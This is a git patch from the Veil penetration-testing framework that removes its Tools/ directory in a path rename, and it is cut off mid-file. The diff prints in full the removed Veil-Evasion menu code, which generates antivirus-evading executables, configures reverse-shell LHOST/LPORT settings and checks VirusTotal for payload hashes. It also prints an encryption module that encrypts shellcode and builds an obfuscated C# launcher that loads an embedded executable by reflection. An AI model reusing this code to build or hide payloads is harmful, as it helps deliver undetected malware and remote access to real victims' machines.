From faed72f18cd8082ab99bed2057dd2599a1ebba7e Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 10 Apr 2018 13:14:25 +0100 Subject: [PATCH 01/38] Fix #188 (Tools/ -> tools/) --- Tools/Evasion/Tool.py | 480 -------- Tools/Evasion/evasion_common/encryption.py | 232 ---- .../Evasion/evasion_common/evasion_helpers.py | 148 --- Tools/Evasion/evasion_common/gamemaker.py | 1067 ----------------- Tools/Evasion/evasion_common/outfile.py | 416 ------- .../Evasion/evasion_common/shellcode_help.py | 569 --------- .../evasion_common/tools/runw.orig.exe | Bin 128512 -> 0 bytes Tools/Evasion/payloads/__init__.py | 0 .../payloads/autoit/shellcode_inject/flat.py | 88 -- Tools/Evasion/payloads/auxiliary/__init__.py | 0 .../payloads/auxiliary/coldwar_wrapper.py | 158 --- .../payloads/auxiliary/macro_converter.py | 101 -- .../payloads/auxiliary/pyinstaller_wrapper.py | 51 - Tools/Evasion/payloads/c/.gitignore | 1 - Tools/Evasion/payloads/c/__init__.py | 0 .../payloads/c/meterpreter/__init__.py | 0 .../payloads/c/meterpreter/rev_http.py | 239 ---- .../c/meterpreter/rev_http_service.py | 301 ----- .../Evasion/payloads/c/meterpreter/rev_tcp.py | 217 ---- .../payloads/c/meterpreter/rev_tcp_service.py | 291 ----- Tools/Evasion/payloads/cs/.gitignore | 1 - Tools/Evasion/payloads/cs/__init__.py | 0 .../payloads/cs/meterpreter/__init__.py | 0 .../payloads/cs/meterpreter/rev_http.py | 173 --- .../payloads/cs/meterpreter/rev_https.py | 180 --- .../payloads/cs/meterpreter/rev_tcp.py | 140 --- .../payloads/cs/shellcode_inject/__init__.py | 0 .../payloads/cs/shellcode_inject/base64.py | 142 --- .../payloads/cs/shellcode_inject/virtual.py | 136 --- .../payloads/go/meterpreter/rev_http.py | 172 --- .../payloads/go/meterpreter/rev_https.py | 185 --- .../payloads/go/meterpreter/rev_tcp.py | 179 --- .../payloads/go/shellcode_inject/virtual.py | 181 --- .../payloads/lua/shellcode_inject/flat.py | 86 -- Tools/Evasion/payloads/native/__init__.py | 0 .../payloads/perl/shellcode_inject/flat.py | 115 -- Tools/Evasion/payloads/powershell/.gitignore | 1 - Tools/Evasion/payloads/powershell/__init__.py | 0 .../powershell/meterpreter/rev_http.py | 85 -- .../powershell/meterpreter/rev_https.py | 83 -- .../powershell/meterpreter/rev_tcp.py | 77 -- .../powershell/shellcode_inject/__init__.py | 0 .../shellcode_inject/psexec_virtual.py | 184 --- .../powershell/shellcode_inject/virtual.py | 119 -- Tools/Evasion/payloads/python/.gitignore | 1 - Tools/Evasion/payloads/python/__init__.py | 0 .../payloads/python/meterpreter/__init__.py | 0 .../payloads/python/meterpreter/bind_tcp.py | 112 -- .../payloads/python/meterpreter/rev_http.py | 150 --- .../payloads/python/meterpreter/rev_https.py | 150 --- .../payloads/python/meterpreter/rev_tcp.py | 148 --- .../python/shellcode_inject/__init__.py | 0 .../python/shellcode_inject/aes_encrypt.py | 127 -- .../python/shellcode_inject/arc_encrypt.py | 132 -- .../shellcode_inject/base64_substitution.py | 120 -- .../python/shellcode_inject/des_encrypt.py | 134 --- .../payloads/python/shellcode_inject/flat.py | 117 -- .../shellcode_inject/letter_substitution.py | 138 --- .../python/shellcode_inject/pidinject.py | 112 -- .../python/shellcode_inject/stallion.py | 161 --- .../payloads/ruby/meterpreter/rev_http.py | 113 -- .../payloads/ruby/meterpreter/rev_https.py | 119 -- .../payloads/ruby/meterpreter/rev_tcp.py | 115 -- .../payloads/ruby/shellcode_inject/base64.py | 120 -- .../payloads/ruby/shellcode_inject/flat.py | 108 -- Tools/Evasion/payloads/template.py | 60 - Tools/Evasion/scripts/vt-notify/README.md | 10 - Tools/Evasion/scripts/vt-notify/vt-notify.rb | 242 ---- Tools/Ordnance/Tool.py | 393 ------ Tools/Ordnance/__init__.py | 0 Tools/Ordnance/encoders/__init__.py | 0 Tools/Ordnance/encoders/xor.py | 200 --- Tools/Ordnance/ordnance_common/__init__.py | 0 .../ordnance_common/ordnance_helpers.py | 89 -- .../ordnance_common/payload_options.py | 11 - Tools/Ordnance/payloads/__init__.py | 0 Tools/Ordnance/payloads/x86/__init__.py | 0 Tools/Ordnance/payloads/x86/bind_tcp.py | 104 -- Tools/Ordnance/payloads/x86/rev_http.py | 139 --- Tools/Ordnance/payloads/x86/rev_https.py | 140 --- Tools/Ordnance/payloads/x86/rev_tcp.py | 133 -- .../payloads/x86/rev_tcp_all_ports.py | 125 -- Tools/Ordnance/payloads/x86/rev_tcp_dns.py | 134 --- Tools/__init__.py | 0 84 files changed, 10555 deletions(-) delete mode 100644 Tools/Evasion/Tool.py delete mode 100644 Tools/Evasion/evasion_common/encryption.py delete mode 100644 Tools/Evasion/evasion_common/evasion_helpers.py delete mode 100644 Tools/Evasion/evasion_common/gamemaker.py delete mode 100644 Tools/Evasion/evasion_common/outfile.py delete mode 100644 Tools/Evasion/evasion_common/shellcode_help.py delete mode 100755 Tools/Evasion/evasion_common/tools/runw.orig.exe delete mode 100644 Tools/Evasion/payloads/__init__.py delete mode 100644 Tools/Evasion/payloads/autoit/shellcode_inject/flat.py delete mode 100644 Tools/Evasion/payloads/auxiliary/__init__.py delete mode 100644 Tools/Evasion/payloads/auxiliary/coldwar_wrapper.py delete mode 100644 Tools/Evasion/payloads/auxiliary/macro_converter.py delete mode 100644 Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py delete mode 100644 Tools/Evasion/payloads/c/.gitignore delete mode 100644 Tools/Evasion/payloads/c/__init__.py delete mode 100644 Tools/Evasion/payloads/c/meterpreter/__init__.py delete mode 100644 Tools/Evasion/payloads/c/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/c/meterpreter/rev_http_service.py delete mode 100644 Tools/Evasion/payloads/c/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py delete mode 100644 Tools/Evasion/payloads/cs/.gitignore delete mode 100644 Tools/Evasion/payloads/cs/__init__.py delete mode 100644 Tools/Evasion/payloads/cs/meterpreter/__init__.py delete mode 100644 Tools/Evasion/payloads/cs/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/cs/meterpreter/rev_https.py delete mode 100644 Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/cs/shellcode_inject/__init__.py delete mode 100644 Tools/Evasion/payloads/cs/shellcode_inject/base64.py delete mode 100644 Tools/Evasion/payloads/cs/shellcode_inject/virtual.py delete mode 100644 Tools/Evasion/payloads/go/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/go/meterpreter/rev_https.py delete mode 100644 Tools/Evasion/payloads/go/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/go/shellcode_inject/virtual.py delete mode 100644 Tools/Evasion/payloads/lua/shellcode_inject/flat.py delete mode 100644 Tools/Evasion/payloads/native/__init__.py delete mode 100644 Tools/Evasion/payloads/perl/shellcode_inject/flat.py delete mode 100644 Tools/Evasion/payloads/powershell/.gitignore delete mode 100644 Tools/Evasion/payloads/powershell/__init__.py delete mode 100644 Tools/Evasion/payloads/powershell/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/powershell/meterpreter/rev_https.py delete mode 100644 Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/powershell/shellcode_inject/__init__.py delete mode 100644 Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py delete mode 100644 Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py delete mode 100644 Tools/Evasion/payloads/python/.gitignore delete mode 100644 Tools/Evasion/payloads/python/__init__.py delete mode 100644 Tools/Evasion/payloads/python/meterpreter/__init__.py delete mode 100644 Tools/Evasion/payloads/python/meterpreter/bind_tcp.py delete mode 100644 Tools/Evasion/payloads/python/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/python/meterpreter/rev_https.py delete mode 100644 Tools/Evasion/payloads/python/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/__init__.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/aes_encrypt.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/arc_encrypt.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/base64_substitution.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/des_encrypt.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/flat.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/letter_substitution.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/pidinject.py delete mode 100644 Tools/Evasion/payloads/python/shellcode_inject/stallion.py delete mode 100644 Tools/Evasion/payloads/ruby/meterpreter/rev_http.py delete mode 100644 Tools/Evasion/payloads/ruby/meterpreter/rev_https.py delete mode 100644 Tools/Evasion/payloads/ruby/meterpreter/rev_tcp.py delete mode 100644 Tools/Evasion/payloads/ruby/shellcode_inject/base64.py delete mode 100644 Tools/Evasion/payloads/ruby/shellcode_inject/flat.py delete mode 100644 Tools/Evasion/payloads/template.py delete mode 100644 Tools/Evasion/scripts/vt-notify/README.md delete mode 100755 Tools/Evasion/scripts/vt-notify/vt-notify.rb delete mode 100644 Tools/Ordnance/Tool.py delete mode 100644 Tools/Ordnance/__init__.py delete mode 100644 Tools/Ordnance/encoders/__init__.py delete mode 100644 Tools/Ordnance/encoders/xor.py delete mode 100644 Tools/Ordnance/ordnance_common/__init__.py delete mode 100644 Tools/Ordnance/ordnance_common/ordnance_helpers.py delete mode 100644 Tools/Ordnance/ordnance_common/payload_options.py delete mode 100644 Tools/Ordnance/payloads/__init__.py delete mode 100644 Tools/Ordnance/payloads/x86/__init__.py delete mode 100644 Tools/Ordnance/payloads/x86/bind_tcp.py delete mode 100644 Tools/Ordnance/payloads/x86/rev_http.py delete mode 100644 Tools/Ordnance/payloads/x86/rev_https.py delete mode 100644 Tools/Ordnance/payloads/x86/rev_tcp.py delete mode 100644 Tools/Ordnance/payloads/x86/rev_tcp_all_ports.py delete mode 100644 Tools/Ordnance/payloads/x86/rev_tcp_dns.py delete mode 100644 Tools/__init__.py diff --git a/Tools/Evasion/Tool.py b/Tools/Evasion/Tool.py deleted file mode 100644 index 2c8edad..0000000 --- a/Tools/Evasion/Tool.py +++ /dev/null @@ -1,480 +0,0 @@ -""" -This is the Veil-Evasion module -""" - -import glob -import imp -import os -import readline -import subprocess -import sys -from os.path import join -from lib.common import completer -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import outfile -from tools.evasion.evasion_common import shellcode_help - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -sys.path.insert(0, settings.VEIL_EVASION_PATH + 'tools/ordnance') -import tool as ordnance_import - - -class Tools: - - def __init__(self, cli_options=None): - self.cli_name = "Evasion" - self.description = "Generates Anti-Virus avoiding executables #avlol" - # Payloads currently within the payload directories - self.active_payloads = {} - # Load all payload modules - self.load_payloads(cli_options) - self.command_options = cli_options - self.evasion_main_menu_commands = { - "list" : "List available payloads", - "use" : "Use a specific payload", - "info" : "Information on a specific payload", - "exit" : "Exit Veil", - "back" : "Go to main Veil menu", - "clean" : "Remove generated artifacts", - "checkvt": "Check VirusTotal against generated hashes"} - self.final_shellcode = '' - self.payload_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the payload", - "back": "Go back", - "exit": "Completely exit Veil", - "options": "Show the shellcode's options" - } - - def check_vt(self, interactive=True): - """ - Checks payload hashes in veil-output/hashes.txt vs VirusTotal - """ - - # Command for in-menu vt-notify check against hashes within hash file - # It's only triggered if selected in menu and file isn't empty - try: - if os.stat(settings.HASH_LIST)[6] != 0: - checkVTcommand = settings.VEIL_EVASION_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0" - print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n")) - checkVTout = subprocess.check_output(checkVTcommand, shell=True) - checkVTout = checkVTout.decode('ascii') - checkVTout = checkVTout.split('\n') - - found = False - for line in checkVTout: - if "was found" in line: - filehash, filename = line.split()[0].split(":") - print(helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)) - found = True - if found is False: - print(" [*] No payloads found on VirusTotal!") - - input("\n [>] Press any key to continue...") - - else: - print(helpers.color("\n [!] Hash file is empty, generate a payload first!", warning=True)) - input("\n [>] Press any key to continue...") - - except OSError: - print(helpers.color("\n [!] Error: hash list %s not found" % (settings.HASH_LIST), warning=True)) - input("\n [>] Press any key to continue...") - return - - def clean_artifacts(self, interactive=True): - """ - Cleans out the payload source/compiled/handler folders. - """ - - # prompt for confirmation if we're in the interactive menu - if interactive: - choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ") - - if choice.lower() == "y": - helpers.clean_payloads() - - choice = input("\n [>] Folders cleaned, press any enter to return to the main menu.") - - else: - print(helpers.color("[*] You did not enter yes, not cleaning payloads!", warning=True)) - - else: - print("\n [*] Cleaning %s" % (settings.PAYLOAD_SOURCE_PATH)) - os.system('rm -f %s/*.*' % (settings.PAYLOAD_SOURCE_PATH)) - - print(" [*] Cleaning %s" % (settings.PAYLOAD_COMPILED_PATH)) - os.system('rm -f %s/*.exe' % (settings.PAYLOAD_COMPILED_PATH)) - - print(" [*] Cleaning %s" % (settings.HANDLER_PATH)) - os.system('rm -f %s/*.rc' % (settings.HANDLER_PATH)) - - print(" [*] cleaning %s" % (settings.HASH_LIST)) - os.system('rm -f %s' % (settings.HASH_LIST)) - os.system('touch ' + settings.HASH_LIST) - - print("\n [*] Folders cleaned\n") - return - - def cli_menu(self, invoked=False): - if self.command_options.list_payloads: - self.list_loaded_payloads() - - # check if a payload is provided, and if so, start the generation - # process - elif self.command_options.p: - user_cli_payload = self.return_payload_object(self.command_options.p) - if not user_cli_payload: - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - sys.exit() - if self.command_options.ip is None and ("meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path): - print(helpers.color("[*] Error: You did not provide an IP/domain to connect to/bind on", warning=True)) - sys.exit() - - # Make sure IP is valid - if self.command_options.ip is not None: - valid_ip = helpers.validate_ip(self.command_options.ip) - valid_hostname = helpers.validate_hostname(self.command_options.ip) - - if not valid_ip and not valid_hostname: - print(helpers.color("[*] Error: You did not provide a valid ip/domain!", warning=True)) - print(helpers.color("[*] Please specify the correct value", warning=True)) - sys.exit() - - # Determine if using Ordnance or MSFVenom for shellcode generation - if self.command_options.ordnance_payload is None and self.command_options.msfvenom is None and "meterpreter" not in user_cli_payload.path: - print(helpers.color("[*] Error: You did not provide a shellcode option to use!", warning=True)) - sys.exit() - - # Check if using a pure payload (shellcodeless) - if "meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path: - if "meterpreter" in user_cli_payload.path: - # Check for where the IP is being stored - if "LHOST" in user_cli_payload.required_options: - user_cli_payload.required_options["LHOST"][0] = self.command_options.ip - elif "RHOST" in user_cli_payload.required_options: - user_cli_payload.required_options["RHOST"][0] = self.command_options.ip - # Store the LPORT value in the payload - if "LPORT" in user_cli_payload.required_options: - user_cli_payload.required_options["LPORT"][0] = self.command_options.port - else: - # If ordnance, generate shellcode through it - if self.command_options.ordnance_payload is not None: - Ordnance_object = ordnance_import.Tools(self.command_options) - Ordnance_object.cli_menu(invoked=True) - cli_shellcode = Ordnance_object.final_shellcode - # Or if msfvenom, get that code - elif self.command_options.msfvenom is not None: - cli_shellcode = shellcode_help.cli_msf_shellcode_gen(self.command_options) - # This could be the future area for adding custom shellcode. If there - # is a need I can add it in - - # Set the shellcode in the Evasion payload - user_cli_payload.cli_shellcode = cli_shellcode - - # Loop over setting required options - if self.command_options.c is not None: - for payload_option in self.command_options.c: - if payload_option is not '': - if "=" not in payload_option: - print(helpers.color(" [!] Payload option not entered in correct syntax.\n", warning=True)) - sys.exit() - else: - key = payload_option.split('=')[0].upper() - value = payload_option.split('=')[1] - if key in user_cli_payload.required_options: - user_cli_payload.required_options[key][0] = value - else: - print(helpers.color(" [!] The option " + key + " does not exist for the selected payload!.\n", warning=True)) - sys.exit() - - # Generate the payload code - # source code stored in user_cli_payload.source_code - user_cli_payload.generate() - - # figure out how to compile the code - outfile.compiler(user_cli_payload, invoked=True, cli_object=self.command_options) - - return - - def display_payload_options(self, selected_pload, showTitle=True): - # show the title if specified - if showTitle: - evasion_helpers.title_screen() - - self.payload_info(selected_pload) - return - - def invoked_tool_menu(self, callback_config=None): - print("This is a menu when invoked by another tool") - return - - def list_loaded_payloads(self): - print(helpers.color("\n [*] Available Payloads:\n")) - lastBase = None - x = 1 - for name in sorted(self.active_payloads.keys()): - parts = name.split("/") - if lastBase and parts[0] != lastBase: - print() - lastBase = parts[0] - print("\t%s)\t%s" % (x, '{0: <24}'.format(name))) - x += 1 - print("\n") - return - - def load_payloads(self, cli_args): - for x in range(1, 5): - for name in glob.glob(join("tools/evasion/payloads/" + "*/" * x,'[!_]*.py')): - if name.endswith(".py") and ("__init__" not in name): - loaded_payloads = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_payloads[name.replace('tools/evasion/payloads/', '')] = loaded_payloads.PayloadModule(cli_args) - return - - def print_options_screen(self, pload_object): - print() - print("Payload: " + helpers.color(pload_object.path) + " selected\n") - print(helpers.color("Required Options:\n")) - print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) - print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) - for opt_name in sorted(pload_object.required_options.keys()): - print('{0: <16}'.format(opt_name) + '\t' + '{0: <8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) - print() - return - - def payload_info(self, payload_obj, showTitle=True, showInfo=True): - """ - Print out information about a specified payload. - payload_obj = the payload object to print information on - showTitle = whether to show the Veil title - showInfo = whether to show the payload information bit - """ - - print(helpers.color(" Payload information:\n")) - print("\tName:\t\t" + payload_obj.name) - print("\tLanguage:\t" + payload_obj.language) - print("\tRating:\t\t" + payload_obj.rating) - - # format this all nice-like - print(evasion_helpers.format_long("Description:", payload_obj.description)) - # if required options were specified, output them - if hasattr(payload_obj, 'required_options'): - self.print_options_screen(payload_obj) - return - - def return_payload_object(self, user_selection): - # This function handles returning the selected payload module object - # to the calling function - counter_value = 1 - for payload_path, payload_module in sorted(self.active_payloads.items()): - if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_payloads)): - if int(user_selection) == counter_value: - return payload_module - else: - if user_selection.lower().strip() == payload_path: - return payload_module - - # Iterate counter for number based selection - counter_value += 1 - return False - - def tool_main_menu(self): - # This is the main function where everything is called from - # Iterate over payloads and find the user selected payload module - evasion_main_command = '' - show_evasion_menu = True - while evasion_main_command == '': - - # set out tab completion for the appropriate modules on each run - # as other modules sometimes reset this - comp = completer.MainMenuCompleter(self.evasion_main_menu_commands, self.active_payloads) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - if show_evasion_menu: - evasion_helpers.title_screen() - print("Veil-Evasion Menu") - print("\n\t" + helpers.color(len(self.active_payloads)) + " payloads loaded\n") - print("Available Commands:\n") - for command in sorted(self.evasion_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.evasion_main_menu_commands[command]) - print() - show_evasion_menu = True - - evasion_main_command = input('Veil-Evasion command: ').strip() - - if evasion_main_command.lower() == "back": - evasion_main_command = '' - break - - elif evasion_main_command.lower() == "checkvt": - self.check_vt() - evasion_main_command = '' - - elif evasion_main_command.lower() == "clean": - self.clean_artifacts() - evasion_main_command = '' - - elif evasion_main_command.lower() == "exit": - sys.exit(0) - - elif evasion_main_command.lower().startswith('info'): - if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] - selected_payload_module = self.return_payload_object(payload_selected) - if not selected_payload_module: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - else: - self.print_options_screen(selected_payload_module) - evasion_main_command = '' - show_evasion_menu = False - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - - elif evasion_main_command.lower().startswith('list'): - - evasion_helpers.title_screen() - self.list_loaded_payloads() - show_evasion_menu = False - print() - evasion_main_command = '' - - elif evasion_main_command.lower().startswith('use'): - if len(evasion_main_command.split()) == 2: - payload_selected = evasion_main_command.split()[1] - selected_payload_module = self.return_payload_object(payload_selected) - if not selected_payload_module: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: info 2 or info lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - else: - self.use_payload(selected_payload_module) - evasion_main_command = '' - show_evasion_menu = True - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid payload selection!", warning=True)) - print(helpers.color("[*] Ex: use 2 or use lua/shellcode_inject/flat.py", warning=True)) - print() - evasion_main_command = '' - show_evasion_menu = False - - else: - evasion_main_command = '' - return - - def use_payload(self, selected_payload): - # Tab completion, thanks Will :) - comp = completer.PayloadCompleter(self.payload_option_commands, selected_payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - - self.display_payload_options(selected_payload) - - payload_options_cmd = "" - evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - - while True: - payload_options_cmd = input("\n[" + selected_payload.path + ">>] ").strip() - - if payload_options_cmd.lower() == "back" or payload_options_cmd.lower() == "main": - payload_options_cmd = "" - break - - elif payload_options_cmd.lower() == "generate": - # Checking for Ruby specific payloads because of dumbass sleep check - if selected_payload.language == 'ruby' and selected_payload.required_options["SLEEP"][0] != "X" and selected_payload.required_options["USERNAME"][0] == "X" and selected_payload.required_options["DOMAIN"][0] == "X" and selected_payload.required_options["HOSTNAME"][0] == "X": - print(helpers.color("[*] If using SLEEP check with Ruby, you must also provide an additional check (like HOSTNAME)!", warning=True)) - payload_options_cmd = "" - else: - selected_payload.generate() - if not outfile.compiler(selected_payload): - payload_options_cmd = "" - else: - payload_options_cmd = "" - break - - elif payload_options_cmd.lower() == "exit": - sys.exit(0) - - elif payload_options_cmd.lower() == "help" or payload_options_cmd.lower() == "options": - self.print_options_screen(selected_payload) - evasion_helpers.print_dict_message(self.payload_option_commands, show_title=False) - payload_options_cmd = "" - - elif payload_options_cmd.lower().startswith("set"): - if len(payload_options_cmd.split()) == 3: - set_command, key, value = payload_options_cmd.split() - # Make sure it is uppercase - key = key.upper() - if key in selected_payload.required_options: - # Validate LHOST value - if key is "LHOST": - if helpers.validate_ip(value): - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid IP!", warning=True)) - print() - payload_options_cmd = '' - # Validate LPORT - elif key is "LPORT": - if helpers.validate_port(value): - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid port number!", warning=True)) - print() - payload_options_cmd = '' - - else: - # Set other options - selected_payload.required_options[key][0] = value - else: - print() - print(helpers.color("[*] Error: You did not provide a valid option!", warning=True)) - print(helpers.color("[*] Ex: set LHOST 8.8.8.8", warning=True)) - print() - - else: - print() - print(helpers.color("[*] Error: You did not provide a valid amount of arguments!", warning=True)) - print(helpers.color("[*] Ex: set DOMAIN christest.com", warning=True)) - print() - payload_options_cmd = '' - - else: - # Not a real command - evasion_helpers.print_dict_message(self.payload_option_commands) - payload_options_cmd = "" - - return diff --git a/Tools/Evasion/evasion_common/encryption.py b/Tools/Evasion/evasion_common/encryption.py deleted file mode 100644 index 5bc54b2..0000000 --- a/Tools/Evasion/evasion_common/encryption.py +++ /dev/null @@ -1,232 +0,0 @@ -""" -Evasion Encryption Routines -""" - -import base64 -import random -import string -from Crypto.Cipher import ARC4 -from Crypto.Cipher import AES -from Crypto.Cipher import DES -from lib.common import helpers -from tools.evasion.evasion_common import evasion_helpers - - -def aes_encryption(incoming_shellcode, encryption_pad=4): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_aes_key = helpers.randomKey() - iv = helpers.randomString(16) - aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv) - padded_shellcode = encryption_padding(incoming_shellcode, encryption_pad) - encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_aes_key, iv - - -def arc_encryption(incoming_shellcode): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_arc_key = helpers.randomKey() - arc_cipher_object = ARC4.new(random_arc_key) - padded_shellcode = encryption_padding(incoming_shellcode) - encrypted_shellcode = arc_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_arc_key - - -def arya(source): - - # compile the source to a temporary .EXE path - tempExePath = evasion_helpers.compileToTemp("cs", source) - - try: - # read in the raw binary - with open(tempExePath, 'rb') as f: - rawBytes = f.read() - - # build the obfuscated launcher source and return it - launcherCode = buildAryaLauncher(rawBytes) - - return launcherCode - - except: - print(helpers.color(" [!] Couldn't read compiled .NET source file: " + tempExePath, warning=True)) - return "" - - -def b64sub(s, key): - """ - "Encryption" method that base64 encodes a given string, - then does a randomized alphabetic letter substitution. - """ - enc_tbl = str.maketrans(string.ascii_letters, key) - return str.translate(base64.b64encode(s).decode('ascii'), enc_tbl) - - -def buildAryaLauncher(raw): - """ - Takes a raw set of bytes and builds a launcher shell to b64decode/decrypt - a string rep of the bytes, and then use reflection to invoke - the original .exe - """ - - # the 'key' is a randomized alpha lookup table [a-zA-Z] used for substitution - key = ''.join(sorted(list(string.ascii_letters), key=lambda *args: random.random())) - base64payload = b64sub(raw, key) - - payload_code = "using System; using System.Collections.Generic; using System.Text;" - payload_code += "using System.IO; using System.Reflection; using System.Linq;\n" - - decodeFuncName = evasion_helpers.randomString() - baseStringName = evasion_helpers.randomString() - targetStringName = evasion_helpers.randomString() - dictionaryName = evasion_helpers.randomString() - - # build out the letter sub decrypt function - payload_code += "namespace %s { class %s { private static string %s(string t, string k) {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString(), decodeFuncName) - payload_code += "string %s = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n" % (baseStringName) - payload_code += "string %s = \"\"; Dictionary %s = new Dictionary();\n" % (targetStringName, dictionaryName) - payload_code += "for (int i = 0; i < %s.Length; ++i){ %s.Add(k[i], %s[i]); }\n" % (baseStringName, dictionaryName,baseStringName) - payload_code += "for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { %s += %s[t[i]];}\n" % (targetStringName, dictionaryName) - payload_code += "else { %s += t[i]; }} return %s; }\n" % (targetStringName, targetStringName) - - base64PayloadName = evasion_helpers.randomString() - assemblyName = evasion_helpers.randomString() - - # build out Main() - assemblyName = evasion_helpers.randomString() - methodInfoName = evasion_helpers.randomString() - keyName = evasion_helpers.randomString() - payload_code += "static void Main() {\n" - payload_code += "string %s = \"%s\";\n" % (base64PayloadName, base64payload) - payload_code += "string %s = \"%s\";\n" % (keyName, key) - # load up the assembly of the decoded binary - payload_code += "Assembly %s = Assembly.Load(Convert.FromBase64String(%s(%s, %s)));\n" % (assemblyName, decodeFuncName, base64PayloadName, keyName) - payload_code += "MethodInfo %s = %s.EntryPoint;\n" % (methodInfoName, assemblyName) - # use reflection to jump to its entry point - payload_code += "%s.Invoke(%s.CreateInstance(%s.Name), null);\n" % (methodInfoName, assemblyName, methodInfoName) - payload_code += "}}}\n" - - return payload_code - - -def constrained_aes(incoming_shellcode): - """ - Generates a constrained AES key which is later brute forced - in a loop - """ - # Create our constrained Key - small_key = helpers.randomKey(25) - - # Actual Key used - real_key = small_key + str(helpers.randomNumbers()) - - # Create Cipher Object with Generated Secret Key - aes_cipher_object = AES.new(real_key, AES.MODE_ECB) - - # Prep for manipulation (this is really for python stallion only) - # If this function as a whole is needed for another language - # It should probably be rewritten without this step - incoming_shellcode = incoming_shellcode.encode('latin-1') - incoming_shellcode = incoming_shellcode.decode('unicode_escape') - - # Pad the shellcode - padded_shellcode = encryption_padding(incoming_shellcode, '*') - - # actually encrypt the shellcode - encrypted_shellcode = aes_cipher_object.encrypt(padded_shellcode) - - # Base64 encode the encrypted shellcode - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - - # return a tuple of (encodedText, small constrained key, actual key used) - return encoded_ciphertext, small_key, real_key - - -def des_encryption(incoming_shellcode): - # Generate a random key, create the cipher object - # pad the shellcode, and encrypt the padded shellcode - # return encrypted -> encoded shellcode and key - random_des_key = helpers.randomKey(8) - iv = helpers.randomString(8) - des_cipher_object = DES.new(random_des_key, DES.MODE_CBC, iv) - padded_shellcode = encryption_padding(incoming_shellcode) - encrypted_shellcode = des_cipher_object.encrypt(padded_shellcode) - encoded_ciphertext = base64.b64encode(encrypted_shellcode) - return encoded_ciphertext, random_des_key, iv - - -def 